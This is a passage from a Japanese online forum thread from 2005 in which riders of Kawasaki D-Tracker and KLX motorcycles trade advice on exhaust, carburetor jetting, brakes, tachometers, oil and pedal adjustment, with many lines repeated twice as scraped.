ローリンエンドってのは結果的に二重丸が出来る、ってことでよろしいか？
702 ：７７４ＲＲ：05/03/07 16:21:48 ID:i2gUJH7T
703 ：７７４ＲＲ：05/03/07 16:30:24 ID:IVSdE+Q0
エンジンの左側に小さな穴があいてるんですけど・・・・・ぁゃιぃな・・・・
704 ：７７４ＲＲ：05/03/07 17:19:41 ID:Ftv++ns7
>>703
空いてないぞｗ店もっていけ
空いてないぞｗ店もっていけ
空いてるぞ？
706 ：７７４ＲＲ：05/03/07 18:48:58 ID:mrIXc/q5
規制後のノーマルは薄めだから、夏まで待つ。
ノーマルマフラーのエンドに自作でパンチング加工のアルミ皿でも取り付けたら、
すこしはいい音になるかな？
ナットを埋め込まないと駄目ぽだな。しんどそう。
試しにアルミ箔張った段ボールで隙間つくって当ててみたけど、結構いい音になったんだがねぇ。
ナンチャッテ皿は無理か。
すこしはいい音になるかな？
ナットを埋め込まないと駄目ぽだな。しんどそう。
試しにアルミ箔張った段ボールで隙間つくって当ててみたけど、結構いい音になったんだがねぇ。
ナンチャッテ皿は無理か。
Rのエンドはボルト止めだった気がする
709 ：７７４ＲＲ：05/03/07 20:19:59 ID:mrIXc/q5
バーパッドを逆向きに付けてたら、ナルの傾向があると言われた。
どうせ他人なんか見ちゃいないし、自分の目の前のモノが逆文字だと
なんか気になる。
どうせ他人なんか見ちゃいないし、自分の目の前のモノが逆文字だと
なんか気になる。
710 ：７７４ＲＲ：05/03/07 21:29:40 ID:Sdq3y3J5
>703
ﾌﾟﾗｸﾞの水抜き穴だから心配無用！
>704
開いてない？良くミロ
ﾌﾟﾗｸﾞの水抜き穴だから心配無用！
>704
開いてない？良くミロ
711 ：-：05/03/07 21:46:41 ID:vJFJ+WbT
ちょっといいかい？
Ｄ-トラのバッテリーいくらぐらいで買えますかね？
携帯からなんでちょっと調べられないので誰かお願いします。
Ｄ-トラのバッテリーいくらぐらいで買えますかね？
携帯からなんでちょっと調べられないので誰かお願いします。
>>708
マジで？
マジで？
713 ：７７４ＲＲ：05/03/07 22:30:27 ID:BsW97UmE
無知ですいません質問させてください
DトラRブレーキのローターのことなんですが、
今の丸穴空いている物と少し前の斜めに空いている物との違いってなんですか？
また互換性はあるのですか？
DトラRブレーキのローターのことなんですが、
今の丸穴空いている物と少し前の斜めに空いている物との違いってなんですか？
また互換性はあるのですか？
714 ：７７４ＲＲ：05/03/07 22:32:56 ID:YUfSwN5x
スーパーサウンドつけてる人います？何枚がいいんですか？
自分は丸いの四枚減らして、下がよくなった気がするんですが。
自分は丸いの四枚減らして、下がよくなった気がするんですが。
ひょっとすると思い違いをしてるかもしれないんだが、豚鼻ってエアダクトの下の部分でしょ。
簡単に取れるもの？カッターなんかで切除しないと駄目？
簡単に取れるもの？カッターなんかで切除しないと駄目？
>>715
ゴムの部分ね。マイナスでこじってれば取れるよ。
ゴムの部分ね。マイナスでこじってれば取れるよ。
717 ：７７４ＲＲ：05/03/08 00:17:36 ID:FU1a02uP
豚鼻はシート外してエアクリの蓋に付いてるやつだと思うよ
確かドライバーでほじくればとれたような…
知ったかだったらすいません
確かドライバーでほじくればとれたような…
知ったかだったらすいません
718 ：７７４ＲＲ：05/03/08 03:14:45 ID:fO/nXjGh
719 ：７７４ＲＲ：05/03/08 16:55:49 ID:JkvHgNWa
〉718
悪くはないと思うよ。ガスが薄いのが原因だから。
悪くはないと思うよ。ガスが薄いのが原因だから。
ん、エアダクトそのものが豚鼻なのか。俺はてっきりインテークから下の部分だけはぎ取るのかと思ってたよ。
ttp://img45.auctions.yahoo.co.jp/users/9/0/4/4/oneway_003-img600x450-1110116562ductmain.jpg
これのワッフルパターンの部分だけとばかし思ってた。
潜望鏡みたいな上の部分は走行風のエア取りにいると思うんだけど、こいつを取っても平気なのか。
ttp://img45.auctions.yahoo.co.jp/users/9/0/4/4/oneway_003-img600x450-1110116562ductmain.jpg
これのワッフルパターンの部分だけとばかし思ってた。
潜望鏡みたいな上の部分は走行風のエア取りにいると思うんだけど、こいつを取っても平気なのか。
721 ：７７４ＲＲ：05/03/08 20:00:54 ID:53pL4W64
ジェット交換はできるのか？
ブタ鼻とるならちゃんとMJの番手を上げる事。ジェット交換できないなら
ブタ鼻はとらない事。焼きついても知らんぞ。
ブタ鼻とるならちゃんとMJの番手を上げる事。ジェット交換できないなら
ブタ鼻はとらない事。焼きついても知らんぞ。
722 ：７７４ＲＲ：05/03/08 23:01:17 ID:OnEZBhDw
豚鼻取り＆マフラー交換くらいだったらメインジェットは130くらいでおｋ？
724 ：ﾊ& ◆MVN4a0u37c ：05/03/08 23:47:03 ID:cgUjsiiz
>>723
マフラー交換&ブタ鼻取&MJ交換&クリーン殺しで桶？
マフラー交換&ブタ鼻取&MJ交換&クリーン殺しで桶？
727 ：７７４ＲＲ：05/03/09 22:53:42 ID:edecS1Wh
ダイノジェットのST1入れようと思うのだが、
はたして効果あるのだろか？
スリッポンのBEETモタ管＆KLEEN殺以外はフルノーマル・・・
はたして効果あるのだろか？
スリッポンのBEETモタ管＆KLEEN殺以外はフルノーマル・・・
キャブ触ってない時点で意味の無い改造だと思う。
729 ：７７４ＲＲ：05/03/09 23:28:18 ID:xZvhBWeB
727
バクダンキットいれましたが、３日で忘れるくらいの違いしかありません。
バクダンキットいれましたが、３日で忘れるくらいの違いしかありません。
730 ：みるく ◆GASNOWzado ：05/03/09 23:39:42 ID:RZ9Ry4Xe
731 ：７７４ＲＲ：05/03/10 08:26:52 ID:XWQsgLcg
ブレーキングの花びらローターとキャリパー付けたけど
段違いの制動力
高かったが買って良かった
段違いの制動力
高かったが買って良かった
732 ：７７４ＲＲ：05/03/10 09:19:05 ID:qBQJ/dDg
>>731
でも、ﾌﾞﾚｰｷﾝｸﾞのﾛｰﾀｰはすぐ減るからやめた方が良いと聞いたが･･･
でも、ﾌﾞﾚｰｷﾝｸﾞのﾛｰﾀｰはすぐ減るからやめた方が良いと聞いたが･･･
734 ：７７４ＲＲ：05/03/10 12:37:49 ID:dxRI/p63
ﾓﾄﾏｽﾀｰはどうすか？
俺も320ディスクに交換したいけど、ウェーブってキャリパーサポートでポン付けでしょ？
でもパッドもノーマルのままで効果ある？
でもパッドもノーマルのままで効果ある？
違う、俺が聞きたいのはブレーキではなくてハンドルだった。
ノーマルよりちょい手前気味で幅が同じくらいのを。。。。休みじかあｌｆｍだｓ
ノーマルよりちょい手前気味で幅が同じくらいのを。。。。休みじかあｌｆｍだｓ
737 ：７７４ＲＲ：05/03/10 14:47:33 ID:qBQJ/dDg
ﾍﾞﾙﾘﾝｶﾞｰは高いけどかなりよいらしい。
注文してるがまだきてないからﾌﾟﾚできないけど・・・。
他ﾒｰｶｰのﾛｰﾀｰは、材質的に削れやすいらしいよ。
注文してるがまだきてないからﾌﾟﾚできないけど・・・。
他ﾒｰｶｰのﾛｰﾀｰは、材質的に削れやすいらしいよ。
モトマスの320ディスク、付けよう付けようと思いながらもう１年くらい寝かせてるな。
そろそろ付けます。
そろそろ付けます。
ブレーキングのディスクは5mm厚のﾔﾂの方がカコイイよね。
740 ：７７４ＲＲ：05/03/10 18:31:35 ID:nQRb3hUT
キャリパーはノーマルでリアのローター替えたら
ギュポっていう音は消えますか？
ギュポっていう音は消えますか？
有効径が変われば効き確実に上がるよね。
743 ：７７４ＲＲ：05/03/10 22:23:20 ID:FuMLvJkM
ハンドルを交換しました。
その際ブレーキの所のボルトが消息不明になりました。
M6のボルトで代用しても問題なし？
その際ブレーキの所のボルトが消息不明になりました。
M6のボルトで代用しても問題なし？
MRFでディスクローターの効きの評価が書いてあったよね。
それをみて俺はブレーキングにしたよ。
それをみて俺はブレーキングにしたよ。
745 ：７７４ＲＲ：05/03/10 22:52:16 ID:LmN6Hff0
やっぱりプッチモニが好き！
外装が傷だらけだ。そんなに気にはしないけど、サイドカバーが引っかいたようになってる。
747 ：７７４ＲＲ：05/03/10 23:37:36 ID:2I6qtRLb
フロントブレーキホースのサスペンション下の鉄パイプが嫌で換えようかと思うのですが
XR250モタードの社外ステンラインって使えますか？回答お願いいたします
XR250モタードの社外ステンラインって使えますか？回答お願いいたします
回答ありがとうございます。なるほどXLRのホースですか～調べみます
てか、XRモタードやDR250のフロントブレーキそのまま移植できないもんかな…
てか、XRモタードやDR250のフロントブレーキそのまま移植できないもんかな…
750 ：加東秀吉 ◆dTUnIrjEe6 ：05/03/11 02:03:51 ID:ermneUHb
ローリングエンド＝マックスターン・・・
>>735
パッドは付属の物より、ノーマルの方がD虎との相性が良いらしい。
パッドは付属の物より、ノーマルの方がD虎との相性が良いらしい。
Dトラにアナログ表示のタコメーターつけたいんですがどこのものがオススメですか？
753 ：７７４ＲＲ：05/03/11 15:10:36 ID:kfM8O44I
>752
俺は大森｡でも今生産中止のような…
ﾃﾞｲﾄﾅはﾀｲﾑﾗｸﾞあるよ
俺は大森｡でも今生産中止のような…
ﾃﾞｲﾄﾅはﾀｲﾑﾗｸﾞあるよ
753
デイトナのを買おうと考えてるけどタイムラグあるのか…
デイトナのを買おうと考えてるけどタイムラグあるのか…
>>752
同じく大森。
もう一個欲しかったから昨日問い合わせしたけどと、在庫一切なし生産中止です。
特注ならやってもらえるかと思ったんだけど、バイク用はもうやってないとのこと。
車用は使えるのでしょうか？
大森のHPでは4輪と点火システムが違うから使用不可と書いてある。
どこかのHPで付けてる人いたけど…
誰かTAKEGAWAのスーパーマルチLCDメータ付けてる人いないかな。
えーとアナログ式なら他はスタックとかw
同じく大森。
もう一個欲しかったから昨日問い合わせしたけどと、在庫一切なし生産中止です。
特注ならやってもらえるかと思ったんだけど、バイク用はもうやってないとのこと。
車用は使えるのでしょうか？
大森のHPでは4輪と点火システムが違うから使用不可と書いてある。
どこかのHPで付けてる人いたけど…
誰かTAKEGAWAのスーパーマルチLCDメータ付けてる人いないかな。
えーとアナログ式なら他はスタックとかw
756 ：７７４ＲＲ：05/03/11 19:04:53 ID:UWSfGh3Y
規制前のと後ではキャブのジェット類番手変わってるの？
って別館スレ見たら結構変わってるみたい。
いくら純正ものとはいえ、規制前のエキパイ、サイレンサーポン付けはまずいのか。
つーか>>679と>>726にあるし。。セットか。
これで体感するほど変わるのか？
って別館スレ見たら結構変わってるみたい。
いくら純正ものとはいえ、規制前のエキパイ、サイレンサーポン付けはまずいのか。
つーか>>679と>>726にあるし。。セットか。
これで体感するほど変わるのか？
んー、KLXだとね、元が濃すぎる傾向なんだよ、排ガス規制前は。
MJ128くらいでしょ？ノーマルで。
同じ排ガス規制前のDトラはMJ120だった訳で。
点火系統も変わってる（進角変更、レブリミット引き下げ）し、
規制前純正EX程度なら気にする必要ないんじゃないのかな？
社外サイレンサー、エアクリもいぢるならジェット類換えてもいいとは思うけど。
まあ、ポン付けで乗ってみてから、自分好みの味付けにすればいいんじゃないですかー？
MJ128くらいでしょ？ノーマルで。
同じ排ガス規制前のDトラはMJ120だった訳で。
点火系統も変わってる（進角変更、レブリミット引き下げ）し、
規制前純正EX程度なら気にする必要ないんじゃないのかな？
社外サイレンサー、エアクリもいぢるならジェット類換えてもいいとは思うけど。
まあ、ポン付けで乗ってみてから、自分好みの味付けにすればいいんじゃないですかー？
KLX300Rのニードル(N1TC)買ったら、クリップが付いてなかったorz
これってクリップは別の部品ってこと？
これってクリップは別の部品ってこと？
ヘリコプター大王を呼んだのでつか、呼んだの(；´Д｀)
自作バッフル付けなければヘリじゃないでつ
サイレンサー部分を止めるのにバーグリップの二つのねじを使うので強いと思います。
自作バッフル付けなければヘリじゃないでつ
サイレンサー部分を止めるのにバーグリップの二つのねじを使うので強いと思います。
764 ：７７４ＲＲ：05/03/12 11:42:31 ID:BVxApafS
768 ：７７４ＲＲ：05/03/12 20:05:49 ID:6x+BAHCr
age
モタードデイズに行く予定の人レポお願いします。
ほとんどDトラとSBだと思うけどうだろうか、気になる。
ほとんどDトラとSBだと思うけどうだろうか、気になる。
>>765
な、なってる、うちも。
な、なってる、うちも。
771 ：７７４ＲＲ：05/03/13 01:30:18 ID:cQ7muewJ
クランクケースのボルトが１本ないのは仕様ですか？
ちょうどフロントのスプロケの上のあたり。俺のだけか？
ちょうどフロントのスプロケの上のあたり。俺のだけか？
>771
問題ない
それでこそ漢カワサキ仕様
問題ない
それでこそ漢カワサキ仕様
773 ：７７４ＲＲ：05/03/13 15:45:06 ID:xGPSGJGs
バッテリー上がりage
774 ：･：05/03/13 21:06:04 ID:ffTm0ujf
バッテリー購入あげ
押しがけ。
よっしゃ押しがけだと坂道下ったけどかからず、
ライトも消えてバッテリーが脂肪。
充電したあとキャブにお湯かけたら始動。というわけで復活sage
ライトも消えてバッテリーが脂肪。
充電したあとキャブにお湯かけたら始動。というわけで復活sage
777 ：７ＲＲ：05/03/14 01:16:58 ID:qP/GKPSp
マジレス
誰かＫＬＸ買いませんか？
内容
２００３モデル（フレームもライムグリーンのやつ）
総走行距離：９７００ｋｍ（６４５０ｋｍで純正３００ｋｉｔにてボアアップ済み）
カスタム等：ラフロ製フロントショートスクリーン＆アルミキャリア、ＣＲＤ製アルミ大型アンダーガード
純正キックｋｉｔ、エキパイ～サイレンサーまでオールステンレス製マフラー
ＬＥＤテールランプ、・・・ｅｔｃ
きず等左右に若干あり、その他変形等なし好調！！（特にエンジンは絶好調！！！）
イクラなら買いますか？
誰かＫＬＸ買いませんか？
内容
２００３モデル（フレームもライムグリーンのやつ）
総走行距離：９７００ｋｍ（６４５０ｋｍで純正３００ｋｉｔにてボアアップ済み）
カスタム等：ラフロ製フロントショートスクリーン＆アルミキャリア、ＣＲＤ製アルミ大型アンダーガード
純正キックｋｉｔ、エキパイ～サイレンサーまでオールステンレス製マフラー
ＬＥＤテールランプ、・・・ｅｔｃ
きず等左右に若干あり、その他変形等なし好調！！（特にエンジンは絶好調！！！）
イクラなら買いますか？
778 ：７７４ＲＲ：05/03/14 01:31:41 ID:3rUIfZXt
安けりゃ安い方がいいに決まってる！
マルチ
ターボ化に挑戦。
今週中に完成する予定。
フォルツァに販売してた過給機を応用した。
馬力５０PSが目標。
今週中に完成する予定。
フォルツァに販売してた過給機を応用した。
馬力５０PSが目標。
デイトナの電気式アナログ表示のタコメーター付けました。感度もそこまで悪くなく良い感じです。タコメーターとハンドルに取り付けステー合わせて15000円くらいでした。
ところで、Dトラは何回転からレッドゾーンですか？
ところで、Dトラは何回転からレッドゾーンですか？
>>住んでる場所はどこですか？
近かったらみたいのですが…
近かったらみたいのですが…
あ。>>777さんへ
話の腰を折って申し訳ないんですが
SBを新車で購入して250キロ走行した状態で
エンジンオイルがゲージの遥か下までしか入ってなくて慌てて追加しました。
サイドスタンドの立て忘れでコケたのが一度あるんだけど
それだけで400ccもお漏らしするとは思えないし・・・
まさかカワサキクオリ（ryでもないですよね。
というか日頃のチェックを怠ったことに激しく反省。
ごめんねSBﾀｿ
SBを新車で購入して250キロ走行した状態で
エンジンオイルがゲージの遥か下までしか入ってなくて慌てて追加しました。
サイドスタンドの立て忘れでコケたのが一度あるんだけど
それだけで400ccもお漏らしするとは思えないし・・・
まさかカワサキクオリ（ryでもないですよね。
というか日頃のチェックを怠ったことに激しく反省。
ごめんねSBﾀｿ
最初の頃はちゃんと入ってたの？
納車の時オイル入れるとすると暖機後の補充をバイク屋が
やらんかったかもしれんね
納車の時オイル入れるとすると暖機後の補充をバイク屋が
やらんかったかもしれんね
788 ：７７４ＲＲ：05/03/14 20:23:43 ID:IM8XI/BI
なんかエンジンオイルの窓が白いんですが…
クーラント減ってないからクーラントが流れ込んだって感じじゃないし
クーラント減ってないからクーラントが流れ込んだって感じじゃないし
790 ：７７４ＲＲ：05/03/14 20:39:03 ID:0BA6Elv+
>>786
直立に立ててみた？
直立に立ててみた？
793 ：みるく ◆GASNOWzado ：05/03/14 22:24:20 ID:sgal7tEY
>>786氏
ついでにオイル交換しても良かったのでは？
納車時に入ってるオイルってグレード低いようですし
特にDトラは海外生産ですから・・・
新車のSB・・・・
ひょっとして、貴方は某スレ変態多＆走行倶楽部の人ですか？ｗ
ついでにオイル交換しても良かったのでは？
納車時に入ってるオイルってグレード低いようですし
特にDトラは海外生産ですから・・・
新車のSB・・・・
ひょっとして、貴方は某スレ変態多＆走行倶楽部の人ですか？ｗ
794 ：みるく ◆GASNOWzado ：05/03/14 22:29:33 ID:sgal7tEY
>>788氏
冬場はそんなものですよ。
外気温が低いのでエンジンストップ後、エンジン内部が冷える時に
結露しやすいからです。
クーラント漏れは
オイルの白濁酷い
リザーバータンクのクーラントが減る
暖機後も排気が白い
で判断できますよ。
それに一番多いウオーターポンプまわりにクーラント漏れは
メカニカルシール使用のDトラはエンジン内部に漏れずに
ウオーターポンプカバー下の小さい穴から排出されます。
（そこに泥詰まるとヤバイけど）
冬場はそんなものですよ。
外気温が低いのでエンジンストップ後、エンジン内部が冷える時に
結露しやすいからです。
クーラント漏れは
オイルの白濁酷い
リザーバータンクのクーラントが減る
暖機後も排気が白い
で判断できますよ。
それに一番多いウオーターポンプまわりにクーラント漏れは
メカニカルシール使用のDトラはエンジン内部に漏れずに
ウオーターポンプカバー下の小さい穴から排出されます。
（そこに泥詰まるとヤバイけど）
796 ：７ＲＲ：05/03/14 22:46:25 ID:wY4fWdUw
＞＞７７８・７７９・７８３～７８５
御意見有り難う御座いました。
ちなみに、西日本からで津。
やはり、２５前後になりますか・・・
もう少し検討してみます。
御意見有り難う御座いました。
ちなみに、西日本からで津。
やはり、２５前後になりますか・・・
もう少し検討してみます。
>>793
>特にDトラは海外生産ですから・・・
新車ってエンジンなどの組み立てだけして、ショップでオイルやらクーラント入れるんでないの？
海外生産と関係ない気がする･･･
店によっては純正の一番グレード低いのとか入れてくれそう･･･
>特にDトラは海外生産ですから・・・
新車ってエンジンなどの組み立てだけして、ショップでオイルやらクーラント入れるんでないの？
海外生産と関係ない気がする･･･
店によっては純正の一番グレード低いのとか入れてくれそう･･･
798 ：みるく ◆GASNOWzado ：05/03/14 22:57:47 ID:sgal7tEY
逆輸入車（一部入ってないのも有るようですが）はオイル入ってきますよ。
海外生産のDトラがそれに当てはまるかどうかは知らないけど。
海外生産のDトラがそれに当てはまるかどうかは知らないけど。
800 ：７７４ＲＲ：05/03/14 23:58:36 ID:hxVGKZB8
私も鱸のりです
ﾁｬﾝﾋﾟｵﾝｲｴﾛｰ(･∀･)ｲｲ!!
ﾁｬﾝﾋﾟｵﾝｲｴﾛｰ(･∀･)ｲｲ!!
801 ：７７４ＲＲ：05/03/15 00:29:16 ID:V7HRn1vb
やっちまった…
ﾃﾞｨｽｸﾛｯｸしたまま何回かﾌﾞﾚｰｷにあてちまってたんだが…
今日もｶﾂﾝとやったら金属疲労みたく黒いｶﾊﾞｰみたいな根元の黒くない部分で断裂
ﾌﾞﾚｰｷは効くがもちろんこのままじゃ支障あるよね?
ﾃﾞｨｽｸﾛｯｸしたまま何回かﾌﾞﾚｰｷにあてちまってたんだが…
今日もｶﾂﾝとやったら金属疲労みたく黒いｶﾊﾞｰみたいな根元の黒くない部分で断裂
ﾌﾞﾚｰｷは効くがもちろんこのままじゃ支障あるよね?
802 ：７７４ＲＲ：05/03/15 11:44:26 ID:5Up0elxd
>>801
どこのことかわかりにくいよ。
どこのことかわかりにくいよ。
マフラー探して３ヶ月。未だみつからず。。。
で規制前で～70km/hの低中速重視。高速は100くらいでしか走らないから、そんなに気にしない。
セッティングはします。ただあんまりうるさいのは駄目で。
FMFのTitanium4使用者いてますか？
で規制前で～70km/hの低中速重視。高速は100くらいでしか走らないから、そんなに気にしない。
セッティングはします。ただあんまりうるさいのは駄目で。
FMFのTitanium4使用者いてますか？
804 ：７７４ＲＲ：05/03/15 17:31:48 ID:QtzZ4dye
静かなのがいいならｏｚのローノイズ。
ﾃﾞｨｽｸﾛｯｸでやっちまったのはﾌﾞﾚｰｷｻﾎﾟｰﾄｱｯｼｰかな?
片方のﾋﾟﾝの部分ですた
ｱｯｼｰ6500円ぐらいしますね…orz
片方のﾋﾟﾝの部分ですた
ｱｯｼｰ6500円ぐらいしますね…orz
>>803
中低速重視はOZかテックサーフしか知らない＿|￣|○
一般的に「レース」っていう売り文句が入ってると高回転重視みたいだね。
音は構造上ノーマルよりは絶対にうるさくなる。
海外モノは軒並みうるさいそうで。
中低速重視はOZかテックサーフしか知らない＿|￣|○
一般的に「レース」っていう売り文句が入ってると高回転重視みたいだね。
音は構造上ノーマルよりは絶対にうるさくなる。
海外モノは軒並みうるさいそうで。
807 ：７７４ＲＲ：05/03/15 21:28:27 ID:IZcye8jg
金があるならヨシムラかBEETが無難。だてに高くない。
808 ：７７４ＲＲ：05/03/15 22:17:44 ID:phDc65rG
BEETのモタ管（スリップオン）を自分で付けてみたんですが、
なんかパイプの部分をフレームに固定するんですが、ステーがちょっとずれてて、
ちゃんと付いたんですが、無理な力が加わってる気がして、
このままだとフレームかエキパイのどちらかが折れるような気がするんですが、
大丈夫なんでしょうか？
なんかパイプの部分をフレームに固定するんですが、ステーがちょっとずれてて、
ちゃんと付いたんですが、無理な力が加わってる気がして、
このままだとフレームかエキパイのどちらかが折れるような気がするんですが、
大丈夫なんでしょうか？
809 ：７７４ＲＲ：05/03/15 23:35:34 ID:wR38YATU
ヨシムラのトライオーバル(90db)付けてるが、結構勇ましい音するぞ。
特にアイドリング時。
特にアイドリング時。
810 ：７７４ＲＲ：05/03/15 23:50:27 ID:AL4tre7c
ノーマルにもどした。
トルクかわいいよトルク
トルクかわいいよトルク
811 ：７７４ＲＲ：05/03/16 00:23:59 ID:8mrWx7H7
BEETのフルエキ（モタード）使ってるけど、中低速が良い感じ♪
オレのはステンレスステーも一緒に買って取り付けたので
転んでも安心。。。なのか？
オレのはステンレスステーも一緒に買って取り付けたので
転んでも安心。。。なのか？
BEETのサイレンサー付けてて、デイトナのフェンダーレスキットの人いるかな？
今度BEETのやつにしようと思うんだけど、ナンバープレートに干渉するか心配。
今度BEETのやつにしようと思うんだけど、ナンバープレートに干渉するか心配。
815 ：７７４ＲＲ：05/03/16 15:26:06 ID:SMifd015
これってチェンジ、ブレーキペダルの位置って調節できないの？
君には出来ない
817 ：７７４ＲＲ：05/03/16 16:05:55 ID:SMifd015
可能なんですか？ざっと見たんですが外せそうな部分がよくわからないんですけど、
どういう手順で外せばいいんですか？
どういう手順で外せばいいんですか？
ざっと見て分らんヤツに
テキストでどうやって説明してやれば
分るのかを教えてくれ＞817以外のエロイ人
テキストでどうやって説明してやれば
分るのかを教えてくれ＞817以外のエロイ人
死んでも知らんで？
チェンジペダル
シャフトの下にボルトがある。
これを緩めペダルを抜き好みの角度に組み付け。
ブレーキべダル
ブレーキロッドのコの字になってるパーツの上にある
ロックナットを緩め、ゴムブーツに覆われている部分を
露出させ回転さしてペダル角度を調節する。
ブレーキ灯スイッチの点灯位置調整もする
チェンジペダル
シャフトの下にボルトがある。
これを緩めペダルを抜き好みの角度に組み付け。
ブレーキべダル
ブレーキロッドのコの字になってるパーツの上にある
ロックナットを緩め、ゴムブーツに覆われている部分を
露出させ回転さしてペダル角度を調節する。
ブレーキ灯スイッチの点灯位置調整もする
ＳＭなしでキャブ調整は危険かな？クリーンカットしたいんだが。
>>819
ありがとうございます
見てみたら左のチェンジペダルはすぐわかって調節できたんですが、
右のブレーキペダルの調節方法がやっぱりよくわかりません・・・
(ブレーキ灯の調整は取り説に載ってたのでわかったんですが)
ゴムブーツ
ナット1
ネジ
ナット２
コの字パーツ
ナット３
ペダルの根元
のナットを色々まわしてみたんですが、逆に硬くなってしまった・・・
バカな質問すいません教えてください
ありがとうございます
見てみたら左のチェンジペダルはすぐわかって調節できたんですが、
右のブレーキペダルの調節方法がやっぱりよくわかりません・・・
(ブレーキ灯の調整は取り説に載ってたのでわかったんですが)
ゴムブーツ
ナット1
ネジ
ナット２
コの字パーツ
ナット３
ペダルの根元
のナットを色々まわしてみたんですが、逆に硬くなってしまった・・・
バカな質問すいません教えてください
822 ：７７４ＲＲ：05/03/16 20:13:00 ID:8mrWx7H7
>>813
アルミカラーとロングボルトで少し右にずらせば解決。
アルミカラーとロングボルトで少し右にずらせば解決。
>>821 それ以上やると死ぬからバイク屋にもってけ
BEETスリップオンレース管にインナーサイレンサー突込み仕様です。
本日MJ118→125、SJ35→40に変更しました。豚鼻そのまま。
エンジンの掛かりが良くなり、全体的にトルクフルになりました。
ただ、アフターファイヤは0～40km/hで激減、それ以上だと1/3程度でます。
変更前より確実に良いのですが、欲が…
MJ130、ブタ鼻はずし、インナー撤去で本来のパワーは引き出せそう？
本日MJ118→125、SJ35→40に変更しました。豚鼻そのまま。
エンジンの掛かりが良くなり、全体的にトルクフルになりました。
ただ、アフターファイヤは0～40km/hで激減、それ以上だと1/3程度でます。
変更前より確実に良いのですが、欲が…
MJ130、ブタ鼻はずし、インナー撤去で本来のパワーは引き出せそう？
パーツ屋で、Dトラノーマルからサイズ同じでピレリのSPORT DEMONにタイヤ換えたら
30gのバラストがフロント１つリヤ２つ付いてきた。
こんなもん？変な振動はないからリムは歪んでないと思うけど…
30gのバラストがフロント１つリヤ２つ付いてきた。
こんなもん？変な振動はないからリムは歪んでないと思うけど…
>>みるくさん
ん？オイラのことですか？
まだ慣らし中ですよ。オイル交換はもうすぐします。
ん？オイラのことですか？
まだ慣らし中ですよ。オイル交換はもうすぐします。
>>796
おらのDS400と交換してくんろ。
おらのDS400と交換してくんろ。
バイク修理中でなおってないのに
サイフの中身2万ﾁｮｲ吉野家で机の上に置いてたら中身全部もってかれたー
ﾁｸｼｮｰ(ﾟДﾟ)金返せー
サイフの中身2万ﾁｮｲ吉野家で机の上に置いてたら中身全部もってかれたー
ﾁｸｼｮｰ(ﾟДﾟ)金返せー
>829
監視カメラで犯人見つけるといいよ
監視カメラで犯人見つけるといいよ
ソンナ手があったのか・・・
吉野家に相談したほうがいいか
SBももう修理だして3週間くらいか・・・早く乗りたいよー
吉野家に相談したほうがいいか
SBももう修理だして3週間くらいか・・・早く乗りたいよー
832 ：７７４ＲＲ：05/03/17 22:38:09 ID:2vOr/anK
KLEENカットしたいけど、どこに売ってあるんですか？通販？自作？
自作すれば1/10ぐらいの値段で済む。
ちなみに十knotで売ってたと思うけど高いよ。。。
ちなみに十knotで売ってたと思うけど高いよ。。。
俺はヤフオク１９００円
ﾔﾌｵｸ1900円の調子はどうよ？
俺はホースに螺子を突っ込んでカットしたよ
いまだ不具合はないです
いまだ不具合はないです
どっかのサイトでエンジン側のホース取って、
液体ガスケット塗ったネジを突っ込んでたのを見たことある。
液体ガスケット塗ったネジを突っ込んでたのを見たことある。
みるくさん、おひさです。
453で紹介してもらった練習会参加してきました。
お昼から天候はすごいことになっていましたが行ってよかったです。
お昼からは自走者メンバーの貸しきり状態で後ろを気にせず練習できましたからｗ
紹介いただいてありがとうでした。
しかし俺のDトラ直線で抜かれるすぎ、、マフラーからはポンポン鳴ってるし
453で紹介してもらった練習会参加してきました。
お昼から天候はすごいことになっていましたが行ってよかったです。
お昼からは自走者メンバーの貸しきり状態で後ろを気にせず練習できましたからｗ
紹介いただいてありがとうでした。
しかし俺のDトラ直線で抜かれるすぎ、、マフラーからはポンポン鳴ってるし
841 ：７７４ＲＲ：05/03/19 22:05:54 ID:rkNKNnRQ
唐突な質問です
17インチにオフタイヤってどう思いますか？
17インチにオフタイヤってどう思いますか？
>>841
あればね。
あればね。
843 ：７７４ＲＲ：05/03/19 22:38:15 ID:6QEhATJi
アチェルビスの縦目2灯つけたんですが、全然光軸が合いません。
Fフェンダーに反射して上空を照らしている状態です。
何か良い方法ありませんか？
忘れてました。klxです。
Fフェンダーに反射して上空を照らしている状態です。
何か良い方法ありませんか？
忘れてました。klxです。
上空に鏡をセットする。
845 ：７７４ＲＲ：05/03/19 23:40:05 ID:bQ6nlSPE
ぴったりサイズは厳しいけど履けるのはある。
846 ：７７４ＲＲ：05/03/19 23:50:21 ID:LP06yukn
BEETのMotardのslip-on(JMCA)を置く際にかなり驚いていた。
それは重いバスでした。 良かったです。
それは重いバスでした。 良かったです。
>>846
翻訳ソフト？？
翻訳ソフト？？
848 ：７７４ＲＲ：05/03/20 07:14:57 ID:Vs94oMoX
'04年式激安新車納車待ちage
何からおっ初めよ♪
何からおっ初めよ♪
>>841
俺は冬の間はリアに１７インチオフタイヤを履いてるが、悪くないよ。
フロントは２１インチにするけどね。
オフタイヤにしたければ、２１/１８か１９のセットを別に持って、
気分で付け替えるのがいいよ。
散々無駄使いした俺が言うのだから少しは信憑性があるかも？
ちなみに１９/１７も試したが、オフ性能は２１インチのほうがいいよ、
当たり前だけどね。
俺は冬の間はリアに１７インチオフタイヤを履いてるが、悪くないよ。
フロントは２１インチにするけどね。
オフタイヤにしたければ、２１/１８か１９のセットを別に持って、
気分で付け替えるのがいいよ。
散々無駄使いした俺が言うのだから少しは信憑性があるかも？
ちなみに１９/１７も試したが、オフ性能は２１インチのほうがいいよ、
当たり前だけどね。
851 ：７７４ＲＲ：05/03/20 09:59:52 ID:7kamWkFW
>>849
なるほど～一応21/18は持ってるんですが変わったことしてみようかなと思ったもんで
なるほど～一応21/18は持ってるんですが変わったことしてみようかなと思ったもんで
>843
俺も付けてたが光角を狭いやつに変えてﾏｽｸを下向きにしても無駄だったからﾑﾘﾎﾟ
本来ﾍｯﾄﾞﾗｲﾄではなく､ﾃﾞｨｽﾌﾟﾚｲを照らす目的で作られたﾔﾂだから仕方ないね
俺も付けてたが光角を狭いやつに変えてﾏｽｸを下向きにしても無駄だったからﾑﾘﾎﾟ
本来ﾍｯﾄﾞﾗｲﾄではなく､ﾃﾞｨｽﾌﾟﾚｲを照らす目的で作られたﾔﾂだから仕方ないね
853 ：７７４ＲＲ：05/03/20 10:29:15 ID:nMlGNOaV
デイトナのダモス管って、よくヤフオクに出てるけど何でみんなすぐ売っちゃうのだろう。
フロントを１９とか１７にするとトレール量が減るから
